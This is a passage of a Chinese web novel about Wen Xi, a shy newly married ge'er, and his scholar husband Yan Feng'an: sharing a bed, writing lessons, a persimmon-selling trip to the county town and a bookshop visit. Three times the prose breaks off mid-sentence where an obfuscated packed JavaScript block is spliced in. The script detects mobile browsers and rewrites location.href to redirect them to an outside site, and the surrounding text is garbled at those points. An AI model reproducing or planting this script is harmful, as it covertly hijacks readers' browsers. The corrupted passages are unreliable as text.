闻溪听出他话里的意思,害羞得耳尖通红,一番拒绝的话到了嘴边,又默默咽了回去。 他虽了解得不多,可也知道成了亲的两口子不该像他们这样生分,经过这段时间的相处,他心头对严逢安的芥蒂已减轻了许多,并不似刚嫁过来时那般害怕排斥。 既然当了人家的夫郎,睡一个被窝也是应该的。 闻溪定了定神,小声道:“好。” 听他答应,严逢安将自己的被窝掀开一个角,攥着闻溪的手把他往自己这边拉了拉。 闻溪努力保持着冷静,咚咚咚的心跳声在黑夜中却尤为明显,刚钻进严逢安的被窝,暖意就从四面八方涌过来裹住了他冰冷的手脚。 哥儿跟汉子果真不太一样,哪怕像严逢安这样的书生,身子骨也比他们哥儿好上许多,就算两人的身体没有挨在一块,闻溪也能感觉到身旁传来的温热。 因睡进了一个被窝,闻溪好不容易才放松下来的身体又变得直挺挺的,严逢安稍微有些动静,他连脚趾都绷紧了些。 严逢安似没看出他的抗拒,起身凑过去替他掖了掖被角。 闻溪呼吸微凝,这人又虚拢住他纤细的腰肢道:“身上这般凉,靠近些,让我帮你暖暖。” 闻溪犹豫了一下,慢吞吞挤进了严逢安怀里,再往前一些他的脑袋就能埋到严逢安颈窝处了,闻溪脸颊升起红霞,睫毛像受惊的蝴蝶一样簌簌颤抖,整个人再不敢动一下。 严逢安手掌滑到闻溪后背,像哄小孩似的轻轻拍了拍,闭上眼道:“这下咱俩都不冷了,睡吧。” 严逢安温柔的呵护让闻溪忍不住鼻酸,这样哄睡的动作从未有人对他做过,他抬头看了一眼严逢安英俊的脸庞,心头不知怎地生出一种空落落的情绪来。 他不懂为什么严逢安对他好他会又欢喜又难过,又哀怨又缠绵。 心跳乱得像是得了什么病,严逢安高大身体里的热意不断袭来,搅得闻溪心头既慌且乱,下意识想从他怀里逃脱,心底却又贪恋这样的温暖。 幽静的夜里,两道杂乱的心跳声不断跳跃交织着,闻溪凝神感受一阵,最后伸手攥紧了严逢安的衣裳,仿佛这样他心头就能更安定些。 第二天早晨,严逢安将醒未醒时忽地感受到自己怀里似乎多了东西,睁开眼一瞧就见平日在他跟前紧张胆小的哥儿这会儿跟个乖巧的婴孩一样蜷缩在他怀里,脸颊上带着淡淡粉红睡得十分香甜。 严逢安看得心生喜爱,想伸手捏捏闻溪粉嫩的脸颊,又唯恐会把人闹醒,便特意放轻动作起床,却不想闻溪一直拽着他的衣裳,他稍稍一动这人就立马惊醒过来。 严逢安怕他害羞难堪,当即闭上眼装作假睡的模样。 闻溪迷迷糊糊的睁开眼,察觉到自己此时的状态,他果然红了脸。好在一旁的严逢安睡得正香,若是这番样子被他瞧见,真真是要羞得他抬不起头。 攥了一夜的衣裳有些发皱,闻溪松开后小心翼翼地理了理,见无论怎么都不能复原时,他心虚的想:这么一小块地方,严逢安应该不会发现吧? 事实上,男人不仅会发现,还会在人后悄悄问他:“小溪,昨夜跟你睡了一觉后,我中衣无端皱了一块,你可知是怎么回事?” 闻溪脑袋摇得像拨浪鼓一般:“不……不知道。” 男人似笑非笑地看着他:“你真的不知道吗?” 虽不知道他在笑什么,闻溪却敏锐的察觉到他这笑容有些坏,他垂下眼睑,手忙脚乱的翻看着手里的《三字经》,又羞又慌:“真的!” “那可能是我睡觉的时候不小心压到了。”严逢安知他不禁逗,把人闹了个大红脸后又轻飘飘的揭过了这茬。“昨日教你的文章可会背了?” 闻溪正愁怎么岔开话题,听到严逢安这样问,忙点头应道:“会。” 这几日他一边跟着两个嫂嫂学做一些针线活,一边又抽出点时间跟着严逢安学认字,每日虽不得空闲,心中却觉得十分充实。 严逢安做出教书先生的模样:“那你背给我听听,若是背不出来,我可要打你的手心。” 闻溪合上书,咽了咽口水,小声从“人之初”背了起来,直到把昨日学的“养不教,父之过,教不严,师之惰”背完,他才长长地舒了口气。 虽然知道严逢安不会真的打他手心,心头却还是难免会有些紧张。 闻溪性子沉稳不浮躁,不管是缝东西还是认字,他都能静下心来认真学习,因此进步得也很快。 严逢安翻开书本,指着闻溪刚背过的一个字道:“你可知这是什么字?” 闻溪脑袋往他跟前凑了凑,发现他所指的字是“教不严”中的“严”,略微思考一番,他不太确定的开口:“可是你严逢安的严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536446|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 严逢安含笑着点了点他的鼻尖:“你果真是个聪明人,今日我就教你写我的名字吧。” 严逢安在书桌上铺了张平日草稿用的毛边纸,又取下一只笔在磨好墨的砚台里蘸了蘸,随后在纸上写下了自己的名字。 他的字就如他的人一般清雅端正斯文利落,不见任何的尖锐与锋芒。 闻溪看着纸上端端正正的三个字,心跳不知怎么快了一拍,在严逢安把笔递给他时,摇头拒绝道:“不行……我字太难看了,恐怕会辱没你。” 写自己名字时他心里都没那种奇怪的想法,换成严逢安的名字,他却畏缩着不敢下笔,总觉得自己要是没把他的名字写好,连带着将他这个人都玷污了似的。 “无妨,慢慢练习总会写好的,来,我教你。” 严逢安把笔放进闻溪手中,在闻溪迟疑着不敢下笔的时候,他站在闻溪身后,略微弯腰,一手撑着桌面,一手握住闻溪拿笔的手。跟他相比,闻溪个头不算高,身体也是纤细的,这样的姿势倒像是他把闻溪整个人都拢在了怀里一般。 两人的身体几乎是贴在了一块,闻溪只觉得有股热气从身后传来,一直从他的脖颈烧到了耳朵尖尖。 他该是厌恶排斥的,大脑却做不出什么挣扎的反应来,整个人晕晕乎乎的没法思考,只能跟着严逢安的话做。 “不要紧张,写错了也没关系。”严逢安的声音从他头顶落了下来,轻柔低沉,带着他惯有的微笑,“手太僵硬了,放松些,你绷得太紧,写出来的字也会死板不圆润。” 温柔的声音就在闻溪耳边,气息拂过他的发丝,落到他的面颊,让他发痒却又不敢伸手去挠。 “我刚说的你都记住了吗?” 闻溪什么都没记住,但他还是用力点了点头:“记住了,你放开,我……我自己写。” 严逢安笑了笑,稍稍拉开了两人的距离,看着闻溪如桃花般的粉面,嘴角笑意更深了。 他的笑声没有故意克制,闻溪听得有些恼,却不敢回头去瞧。 他说不出两人是在干什么,但也明白,这并不是单纯的教书写字,咬了咬唇,低着头闷声道:“你故意的。” 严逢安故作疑惑:“嗯?我故意什么了?” 闻溪脸颊红得快要滴血,转过去轻轻瞪了他一眼,双瞳不似寻常恼怒,带着一层薄薄的水光,有些委屈,也有些羞怯。 如此楚楚可怜,引人怜惜的模样,却让严逢安心里无端生出一些燥热和杂念来,他有心想做些什么,却又觉得不太合适,心慌了片刻后抬起手遮住了闻溪那双水润润的眼眸。 “好了,别恼了,我真不是故意的,我离你远些,你自己慢慢写可好?” 闻溪眨了眨眼睛,睫毛在严逢安掌心轻轻扫过,正想说些什么,门外忽然传来桃儿的声音:“小溪叔叔,沈云哥哥过来找你啦。” 有人将自己从这焦灼的气氛中解救,闻溪如释重负,放下笔后就匆匆跑了出去。 22. 不被喜欢的时候 沈家门口种了两颗柿子树,今年收成很不错,早晨沈良将已经成熟的柿子从树上摘下来,沈云记挂着闻溪,自己都还没吃呢,就先给他送了一篮子过来。 由他精挑细选的柿子一个个金黄饱满,看着就惹人垂涎。 陈兰芳把人请了进来,一边接过篮子,一边笑盈盈的道谢,等闻溪出来,她道:“小溪你先陪着云哥儿说说话,我去把篮子腾出来。” 闻溪点了点头,等院里就剩他们两人后,沈云好奇的看着闻溪道:“你脸怎么比我家里的柿子还红?” 闻溪好不容易散下去热度又慢慢升腾起来,他两颊浮起浅粉,细声道:“我听桃儿说你过来了,有些激动。外头凉,咱们去屋里坐。” 沈云一个未出嫁的哥儿,不懂别家小两口闺房中的乐趣,听闻溪这般说他一点没怀疑。 闻溪把他带到了严家待客的正厅,又说:“我去厨房看看有没有热水。” 沈云制止道:“我又不是什么贵客,哪用这么麻烦。我来找你也没什么别的事,家里柿子今年结得不错,我哥让我给你们家送一篮子过来。” 闻溪感激道:“让他费心了,替我谢谢他。” 沈云哼了哼:“谢他做什么,柿子树一直是我在打理,要谢你也该谢我。” 闻溪露出个笑:“也谢谢你。” “哎呀,我就随口一说,你还真谢上了,跟我还客气什么。”他往外瞅瞅,见没其他人,压低声跟闻溪说道:“这严家还真是大。” 之前他站在院门口没进来,今日过来免不得要细细打量,严家果真是村里的大户,连房子都比一般人家气派些。 刚嫁过来时,闻溪的想法跟沈云差不多,住习惯了他又觉得还好。 “家里人多,房子不大住不下。” 这话倒是不假,沈云家里冷冷清清的只有三口人,小一点的房子也不影响他们居住。像严家这般人口,若是不把房子修建得宽敞一些,住起来也太狭窄逼仄了。 外头传来脚步声,没一会儿陈兰芳进来将篮子还给了沈云:“家里也没什么好货,这是溪哥儿他们昨儿个才在地里挖的胡萝卜和番薯,还有我自己晒的豆腐干,你带回去给你娘他们尝尝。” 沈云红着脸拒绝:“这怎么行,我拿回去我哥肯定要说我的。” “又不是什么值钱的玩意,他能说你什么。你家的柿子我们都收了,我家的菜你却不收,这是什么道理,快拿着” 人家送了东西过来,没道理让他空着手回去。 沈云母亲身子不好,为了挣钱给她治病,沈良当了货郎,把家里的田地都租了出去,只留下一小块自给自足,跟村里其他人家比起,他们地里的粮食是要紧缺一些。 沈云拗不过她,只能把东西收下,陈兰芳比他想象中更和蔼一些,因此沈云又大着胆子道:“婶子,我明天要去县城卖柿子,可以让小溪陪我一起去吗?” 陈兰芳笑着看了闻溪一眼:“这你就得问他自己了。” 闻溪从来没去过县城,听说城里比镇上还有热闹,还要大上许多。叫他一个人去他肯定不敢,但是有沈云作伴,他心头便也蠢蠢欲动起来。 “娘,我……我想和云哥儿一起去。” 陈兰芳道:“想去就去,不过得先跟你男人说一声。” 闻溪垂眸点头:“我会的。” 约好了一起进城的事,沈云也没久留,没有特殊情况村里人都不会在别人家里吃饭,陈兰芳和闻溪一起把他送到了院门口,临走了沈云又指着手上的篮子道:“谢谢了,婶子。” 送走了人,陈兰芳关上门对闻溪道:“云哥儿性子纯良,家底也清白,你跟他交好我倒也放心。” 这话让闻溪想起以前的一些旧事来,同样是母亲,陈兰芳对他交好的朋友慈祥热情,不像李巧珍平日里爱打骂他就算了,对沈云也没个什么好脸,沈云上门来找他玩,还会被她阴阳怪气奚落一阵,最后只得灰溜溜的回家去,至此再也不敢到家里找他。 人家不跟闻溪玩了,李巧珍心头仍不舒坦,瞅着沈家院门外的柿子像一个个灯笼挂在树上却不知道给闻家送几个过来,她心头就跟那刺挠似的,在自家屋里当着闻溪的面各种说沈云的坏话。 一会儿说他没爹没教养,一会儿又说他娘是个浪费钱的病秧子,沈良平日卖东西从不给她少价,李巧珍嘴里对他更是没什么好话。 闻溪听着这些话,心里比自己被骂了还难受。 就因为他不得李巧珍的喜欢,连带着跟他交好的朋友也会被她糟践,也是如此,就算心头珍惜沈云这个朋友,闻溪都不敢跟他来往得太频繁。 索性这一切都已经是过去的事,严家人看重他,连带着也尊重他的朋友,那些污言秽语他再不会听见。 想到这些闻溪心头伤感,面对陈兰芳时更是动容,千言万语说不出,只红着眼道:“娘,谢谢你。” 陈兰芳以为他跟沈云一样还在纠结那些菜的事,拍了拍他的胳膊道:“你们这些孩子总是谢啊谢的,多大回事啊,礼尚往来那不是应该的吗,让人空着手回去,沈家的人指不定还觉得咱们没礼数呢。” 闻溪道:“云哥儿不会那样想的。” 陈兰芳笑了笑说:“不管他怎么想,反正咱们不能欠人情。我这样说你肯定觉得我是在跟他见外。” 闻溪摇了摇头:“没有,我跟您一样,也不喜欢欠别人的人情。” 既然开了口,陈兰芳索性再多说几句:“那点菜和柿子能值几个钱,重要的是心意,他送的是人情,咱们还的是礼数,有来有往你们俩的情分才会长久。要是只收不还,一次两次的倒能说得过去,次数多了,人家也把你认清了,再深的情分都禁不起这样耗。” “我知道了,娘。” 这些浅显的道理稍微有人提醒个两句,闻溪自己就能理清。只是在闻家时爹娘从不教他这些,平日教导闻柳,也是教他怎样去占别人的便宜,所以才将闻柳养成了那样的德行。 想到这闻溪倒有些庆幸,也幸亏爹娘没有认真教他,不然恐怕也会将他养成那种令人讨厌的性子。 见他一副乖巧的模样,陈兰芳伸手摸了摸他的头:“去跟逢安说你明日要去县城的事吧。” 闻溪回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536447|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了屋,又想起刚才的事来,他垂头盯着脚面,手指无意识绞着衣裳,小声对严逢安说道:“云哥儿叫我明日陪他一起进城卖柿子,我答应他了。” 严逢安正好有事也想去一趟县城,听闻溪这么说,他道:“那我也跟你一起去。” 闻溪以为他是不放心自己,道:“不用,我可以自己去。” 他都这么大个人了,总不可能做什么事都要严逢安陪着。 严逢安笑着说:“这段时间我闲着没事有些手痒,想着去城里的书坊接点誊抄书籍的活来补贴家用,所以明日就让我跟你一起去吧。” “哦~”原是他自作多情了,会错意的闻溪脸颊又不受控制的烫了起来。 严逢安不忍他吃瘪:“接活也是次要的,主要还是为了陪你。” 闻溪努力压着自己的嘴角,慢腾腾地走到严逢安跟前细声问他:“字还练不练了?” 严逢安挑了挑眉:“做事哪有半途而废的,当然得练。” 他已经一笔一画给闻溪起好了头,闻溪照着临摹就行。 虽然闻溪逗起来很有趣,但严逢安知道什么叫适可而止,他不想让闻溪心头不舒服,也不想把人真的惹恼,把笔给了闻溪后,他就自觉到旁边去看书。 见他不再手把手的教自己,闻溪松了口气的同时,心头又隐隐带着些说不上来的情绪。 他摇了摇头不再乱想,认真在毛边纸上写着严逢安的名字,一开始虽写得有些艰难生涩,写满了一页纸后,渐渐有了些模样。 严逢安虽然拿着书看,注意力却全放在了闻溪身上,时不时的就要提醒一下他握笔的姿势。 初学者要是不约束一下写字习惯,时间久了就难以纠正了,因此一开始他也不得不对闻溪严厉一些。 见闻溪学得认真,他心头又想家里的墨水和毛边纸剩得也不多了,闻溪要学着书写,日后怕是会更费一些,看来明日去了书坊笔墨纸砚什么的也得再买些回来。 明年书院的费用还需要爹娘供给,他一个已经成了亲的男子,这些小钱,总不可能还向父母伸手要。 上次卖旧衣还剩了些银钱,可那么点银子肯定不禁他和闻溪花的,严逢安盘算着,除了给书坊抄书外,到了赶集日,他还可以去镇上给人代写书信、诉状和碑文。 以前他年纪小没娶亲,爹娘也不乐意让他抛头露面干这些事,现在倒是不妨去试一试。 翌日清晨,天还没亮闻溪和严逢安就出发了。 这个季节温度越来越低,晨风刮在脸上都有些疼了,幸好闻溪穿上了何锦的旧夹袄才显得没那么冷。 两人在村口等了没一会儿,沈云就跟沈良一起过来了。 他打着空手,上前对闻溪道:“我哥正好要去城里办事,我让他跟咱们一起去,你不会介意吧?” 闻溪摇了摇头:“我……他也要去城里办事。” 闻溪本想说我相公,但磕磕巴巴的总难以说出口,只能含糊带过。 严逢安和挑着箩筐的沈良对视一眼,两个男人心照不宣地笑了笑,一番寒暄过后,四人便顶着晨风出发了。 23. 小溪做买卖 四人到了临安县时,天色已然大亮,城里的街市也开放了,沿着街上的石板路往东南方向走,临到头了右转便是城里人赶早集的地方。 石板路的两旁支着各种摊点,羊肉汤店里的伙计打着哈欠吆喝着行走的路人,卖肉的屠夫推着板车行驶在道路中央,嘴里嚷着“让一让,让一让”,早餐店里的面汤冒着滚滚热气,煮面的大爷叉着腰,声如洪钟喊到:“吃面送咸菜嘞!”除了这些卖吃食的,其他摊子也有不少,一路上各种叫卖声混杂在一起,又喧哗又热闹。 闻溪以为镇上的坊市就够大了,进了城才知道什么叫繁华,他一面好奇的打量,一面又害怕这络绎不绝的人流将自己与其他人冲散。人在这种陌生又不安的环境里,心里总想找个依靠,大庭广众的他不好意思拉严逢安的手,就悄悄地扯住了他的衣袖。 男人也知他的恐惧,跟他并肩行走着,时不时伸手拨开要撞上他的人流。 集市里售卖不同的东西有不同的摊位,沈良挑着担子去了卖果子的地方,找了块空地放下了自己肩上的箩筐。 趁他擦汗的功夫,沈云拿出了准备好的粗布铺在地上,将箩筐里的柿子拿了出来,跟闻溪一起按个头大小分成几堆摆放。 不一会儿,衙门的人就来收摊位费了,集市不论卖什么摊位价格都是统一的,每个摊位每日收五文钱,先到先得,没有固定的说法。 沈良交了钱后,收费的人给了凭证记了名,这一天他们都可以安心在摊位上做买卖。 集市上人来人往,却没几个在他们柿子摊前驻足,沈云和闻溪都没单独做过买卖,瞧着旁边摊位上已经卖了两茬,两人你看我,我看你,最后又望着严逢安和沈良。 严逢安一介书生,和他吟诗作赋他能对答如流,与他赏析四书五经他也能说个一二,可若是让他教人做买卖,倒真是难为了他。最后,他也将目光移到了沈良这个货郎身上。 被三双眼睛齐刷刷的盯着,沈良好笑道:“都看着我干什么,大声吆喝啊,不吆喝谁来咱这买东西。” 沈云跟闻溪都是面皮薄的人,让他们两个哥儿当街叫卖,着实为难人。 瞧着沈云嘴巴像是被浆糊糊住一般,沈良道:“你在家里可计划得好好的,说卖了柿子要请溪哥儿喝羊肉汤,吃糖葫芦,若不把柿子卖出去,恐怕你只能请他喝这早晨的冷风了。” 沈云知他是在激自己,鼓了鼓腮帮子道:“喊就喊,反正也不会掉一块肉。” 他吸了口气,冲着来往的人群大声吆喝道:“卖柿子嘞,又甜又脆的柿子,快来买啊,不甜不要钱!” 闻溪被他突如其来的一嗓子吓得抖了抖,正想说什么,身后的严逢安道:“小溪,你也跟着吆喝两声。” 闻溪面红着摇了摇头:“我……我叫不出口。” 他很佩服沈云的勇气,可让他也这样扯着嗓子吆喝,他实在做不出来。 严逢安双手搭在他的肩上,轻轻按了按,鼓励道:“没关系的,你听听,周围的人都在吆喝,这根本就不算什么事,没人会笑话你的。” 闻溪耳尖红红不知是冻的还是憋的,听着严逢安的话,他张了张嘴,喉咙像是被堵住一般,嘈杂的人声里,他听见了自己的心跳声,咚咚咚的仿佛比周围的吆喝声还要大。 街上来往的顾客挑选着自己心仪的东西,没有任何人在他身上驻足,可闻溪总觉得自己要是开了口,就会引得所有人都来看他。 这样的想法实在莫名其妙,沈云都能豁出去了,他又岂能在这里当哑巴,闻溪把心一横,张了张嘴道:“卖柿子……” “卖柿子嘞,自家种的柿子,又甜又脆,快来买啊……” 闻溪细若蚊蝇的吆喝声中忽地加入了一道清冽的男生,他侧头不可思议地看了身后的严逢安一眼,就听他道:“也没什么大不了的,我陪你一起吆喝。” 他虽装得淡定,面颊上的薄红到底泄出了几分不好意思,让他一个读书人来干这样的事,难为情的程度跟闻溪也差不到哪儿。 闻溪心口发热,有他陪着便放声开始吆喝。 所谓一回生二回熟,刚开始吆喝时他声音是有些颤,跟着严逢安喊了一会儿就稳了下来。 闻溪的性子沈云是了解的,听他都大声叫卖起来,沈云也不甘示弱。 一堆柿子三个人吆喝,还有个人站在一旁笑,这场景怎么看怎么新鲜,一个挎着篮子的老太太走了过来,乐呵呵道:“我倒要看看什么柿子这么金贵,竟然要这么多人来卖。” 沈良道:“金贵不金贵的不好说,好吃是肯定的。” 老太太蹲在柿子堆前,捡着几个大的细细翻看,红彤彤的柿子面皮光滑,确实惹人喜爱:“你这柿子怎么卖的?” 沈云回答:“您手上这个卖六文钱一斤。” 老太太刚在前边也问过价,那柿子的品相比不上这家,卖的价格却一样,不如就在这家买。 见她还在仔细挑选,闻溪默默拿出一张粗纸:“我给您包起来。” 沈云也极有眼力见的拿出了事先准备好的秤,等老太太选完后,他称了称道:“三斤一两,算您三斤的钱,一共十八文。” 老太太人很爽利,痛痛快快付了钱走了。 成功卖出去一单,沈云和闻溪还没来得及高兴呢,又有个老夫郎过来问价,听说那大的柿子要六文一斤,他瘪了瘪嘴道:“贵了,别人家那边才卖五文,你瞧瞧这个都有疤了。” 许是卖出去一单,沈云心头有了不少底气,听到老夫郎这样说,他道:“五文钱的我们这也有,你看看这个。”他指着另一堆个头小的道:“这个也是一样的皮薄肉厚,甜脆好吃。” “就不能再便宜一些?自家种的果子怎都卖得这样贵?” 闻溪大着胆子给他推荐:“您要便宜的也有,那一堆只要三文一斤。” 老夫郎顺着他手指的地方看了看,嫌弃道:“癞癞疤疤的我才不要。” 好的舍不得,便宜的又太差劲,老夫郎最后折中选了五文一斤的。别看他嘴上挑三拣四,其实心头也承认闻溪他们卖的柿子是整个早集上品相最好的。 选好后付了钱,他又厚着脸皮多拿了一个:“送我一个,下回我还继续照顾你们的生意。” 一个柿子估摸着有好几两重,他若从三文钱一斤的里面拿,沈云也就不说了,可他专挑好的拿,这让人心头如何舒坦。沈云小孩子脾性忍不住有些挂脸,可做生意的也不好跟客人生气,等人走了他才冷哼一声,翻了个白眼。 闻溪低声劝了劝:“没关系的,也不是所有人都会这样。” 瞧他嘴还高高撅起,沈良又开口道:“做生意讲究和气生财,一个柿子拿了就拿了,计较太多不值当。” 他走街窜巷卖那些小玩意时,遇到过不少这样的人,若个个都去计较,这生意就没法做了。 两人轮番劝慰,沈云便也不再计较,很快又一个老妇人来买柿子,他立即将刚才的事抛之脑后,同闻溪一起忙碌起来。 两人忙碌的时候,沈良对严逢安道:“你不是有事要去办吗,怎么还不去?” 算算时辰,书坊那边已经开门了,等闻溪和沈云卖完了这一单,严逢安对他道:“我要去书坊一趟,你是留在这,还是跟我一起去?” 闻溪有些迟疑,陌生喧哗的集市有严逢安陪着,他要更安心一些,可他才从这买卖上获得些许乐趣,又不想就此离开。 严逢安看出他的纠结,笑了笑道:“不如你就留在这儿吧,我办完事就过来。” 也只能如此了,闻溪点了点头,对严逢安道:“那你早些过来。” 严逢安看出他眼里的依赖,心头软了软道:“我就是去买点墨锭和毛边纸,很快的。”他朝着沈良拱了拱手:“沈兄,溪哥儿就麻烦你们照顾了。” 沈良道:“没事的,你去吧。” 有他陪着,应该也不会有其他人来摊位上闹事。严逢安放心出了集市,凭着记忆找到了附近的书坊。 刚到书坊门口,一个人就踉跄着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536448|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退了出来和他撞到了一块。那人和他一样书生打扮,年纪约莫三十来岁,一袭青衫洗得发白,两人相撞后,书生手里捧着的纸张就飘飘扬扬地洒在了地上。 那书生一边道歉,一边忙不迭的捡起地上的纸,严逢安站稳后,也帮他捡了些。 本以为是什么重要之物,结果在递还时,他却不经意间撇到纸上内容:“那张生见小姐生得貌美,竟起了邪念……” 严逢安正好奇张生起了什么邪念时,书生慌慌忙忙的把纸张拿了过去,正欲开口说谢,却听那书坊里的伙计不耐烦道:“我说刘相公,您就别来为难我们了,您这个话本真的卖不动,您行行好,拿到别家去问问吧。” 那姓刘的书生脸涨得通红,却还固执的争辩:“上次你家掌柜的说情节太平淡,我加了好几处转折,保证比之前的刺激好看,你再拿给他瞧瞧吧。” “您这都改了多少遍了,哪次不是换汤不换药。”伙计叹了口气,“书生小姐才子佳人的故事市场上都写滥了,不换题材就算你改出花来也卖不出去啊,你去那书架上瞧瞧,不止您的,旁人的话本也堆积了不少,印了那么多打折都没人要,我们要是再收您的,这店还开不开了?” 书生的嘴唇哆嗦两下,辨无可辨后,他放出狠话:“真是狗眼看人低,你们不要有的是地方要,到时候我这话本要是火了有你们后悔的时候。”说完,他就拂袖而去。 “嘿,什么玩意!”好好跟他提建议不接受就罢了,反倒冲他一个跑腿的发脾气。 书坊伙计气得要死,看到严逢安时又立马换了幅笑脸道:“哎哟,这不是严秀才吗,什么风把您吹来了,快请进,快请进,您是买书还是—” 无论是严逢安本人,还是那个占了他身体的人,都来过书坊几回,伙计李二见他相貌英俊又是秀才,自然对他印象深刻。 既是熟人有些话就更好说一些,严逢安也不扭捏,直言道:“我来买点纸,顺带想问问你们这有没有什么誊抄书籍的活,如果有的话,能否让我试试?” 听到这话李二心头甚感惊奇,这严秀才他也是了解的,虽不是出生于什么大富大贵的人家,可也不是家里穷得揭不开锅的穷书生,怎么沦落到要抄书为生了? 心里这样想着,嘴上也嘀嘀咕咕的把这话说了出来。 严逢安同他解释:“这不是前段时间刚娶了夫郎,你说平日读书让爹娘拿钱就罢了,总不可能给夫郎买个镯子买个发簪也要向家里伸手要钱吧。” 李二也刚成亲,听到严逢安这话他也深有体会:“是嘞,这但凡有点志气的汉子,哪个不想让自己的媳妇儿孩子过上好日子。” “抄书的活有是有,不过……”李二挠了挠头实话实说道:“您应该知道的,咱们书坊的掌柜做事很有章法,别人家抄书一册只能得五十文,我们这却能得八十文,价格高要求却不严格,只要字迹端正即可,唯一的要求便是抄书的必须得是那家境贫寒之人。” 严逢安还真不知道有这个要求,他问李二:“如何才能算家境贫寒之人?” 李二道:“需得有书院院长签名的凭证。” 他这样一说严逢安倒想起了一些事来,他在凌云书院上学的时候曾听一些同窗谈过,他们书院对家境贫寒的学子比较优待,院长会给他们介绍一些简单的活计,比如劈柴、挑水、抄书等,让他们赚取一点笔墨费。 “您是秀才,每年都能去衙门领取廪膳,家里也没有穷得接不开锅,恐怕我们掌柜的不会同意让您抄书的。” 李二说得委婉,实则严逢安这样家境的人跑来跟人抢抄书的活,若是被人知道,被臭骂一顿都是轻的。 严逢安面上有些挂不住,语带歉意道:“不好意思,是我唐突了。” 李二摆摆手道:“小事小事。” 他一个秀才能对自己这个书坊小伙计这般客气,李二忍不住多嘴一句:“您要是真想赚钱,其实也不是没有别的法子。” 疑似柳暗花明又一村,严逢安问:“什么法子?” 24. 挣了钱就是拿来花的 李二扬声道:“写话本啊。” 严逢安想起被轰出去的那个刘相公:“就像刚才那个书生一样?” “嗨呀,您怎么拿自个儿跟他比。”李二嘴快话多,“那刘相公一个落第秀才,老觉得自己是文曲星下凡,写的话本全是那些陈词滥调,都烂大街了他还觉得是看官们不懂欣赏。话本写得不行就算了,人也固执,咱们家掌柜的好心给他提了意见,他非说自己写的每一句话都是经典不能删除,故事的核心也不能改变,掌柜的那样好脾气都被他弄得不耐烦……” 等李二喋喋不休的说完,严逢安道:“读书人有读书人的风骨,或许是他对自己写的东西比较满意。” “骨气也不能当饭吃啊,再说赚钱的事讲什么骨气,话本写出来是给别人看到,他光是自己满意有什么用,得看官满意啊。” 李二从书架上取出一本《折狱奇闻》一本《太学轶事》递到他手中道:“这两本是我们书坊今年卖得最好的话本,印了两千册,不到半年就卖光了,我们掌柜的还说要再加印呢。” 严逢安接过来随意的翻开瞧了瞧,看了两眼便觉得熟悉,仔细一想,他家里的书架上不是也有这两本书吗? 前阵子闲着没事,他还将这两个话本都看完了,两个话本虽在书名上大有不同,内容本质却是一样的。 《折狱奇闻》讲的是县衙里的一些公案,《太学轶事》则是讲的某位学子在太学读书时遇到的怪事,并阴差阳错的卷入了几个杀人的案子。 张生的邪念固然令人好奇,可稍稍一想却不难猜到后续剧情的发展,倒是这些奇案,确实引人入胜,撩动人的心弦,令人忍不住想探个究竟。 时辰尚早,书坊里还没什么人来,李二闲着没事就跟严逢安多聊了几句:“这两个作者,就凭这一本书就赚了将近二十两银子,您说这是不是比抄书强?” 抄一册书只能赚取五十~八十文,写一个话本却能赚十几二十两,两相对比,写话本确实比抄书强一百倍。 二十两的银子够农户人家吃一年,一本十来万字的话本只用写个把月,说起来这也的确是个不错的营生方式。 只是这写话本听起来容易,要想出头却是难上加难,刚才伙计跟那刘相公说的话严逢安可都听着呢,卖的好的话本只有这两册,卖不出去的可是一大堆。 比起才子佳人这类书写情爱的,公案类的话本明显有很高的门槛,不仅要将案子原原本本的给各位看官揭露,案子中弘扬的精神,批判的内容也要符合当下老百姓心头所想,总而言之,只得用“难”之一字概括。 严逢安知道自己不会写,却还是多嘴问了一句:“除了公案类的,其他的你们就不收了吗?” 李二道:“其他的也是要收的,同样的话本看多了也容易腻歪不是?您也不一定非要写公案,只要故事新颖,足够有趣,也很容易被咱们掌柜的看中。到时不说赚二十两银子,赚些笔墨费还是没问题的。” 这伙计话虽多,却句句都是肺腑之言,严逢安对他抱了抱拳:“我明白了,多谢。” 李二刚在刘相公那里受了气,这会儿遇到严逢安这样一个彬彬有礼的秀才,心头瞬间舒服多了。 两人身份有些差距,他却在严逢安跟前挺起了腰杆:“不客气,若是以后有写好的话本,您只管拿到这儿,我一定多向掌柜的替您美言几句。” 严逢安笑了笑,转而又在这书坊里买了些毛边纸和墨锭,想着闻溪还在等着自己,东西买好了他也没有久留。 闻溪陪着沈云一起卖柿子时,双眼时不时就在人群中搜寻,一次又一次的落空后,终于在不远处看到了那抹熟悉的身影。 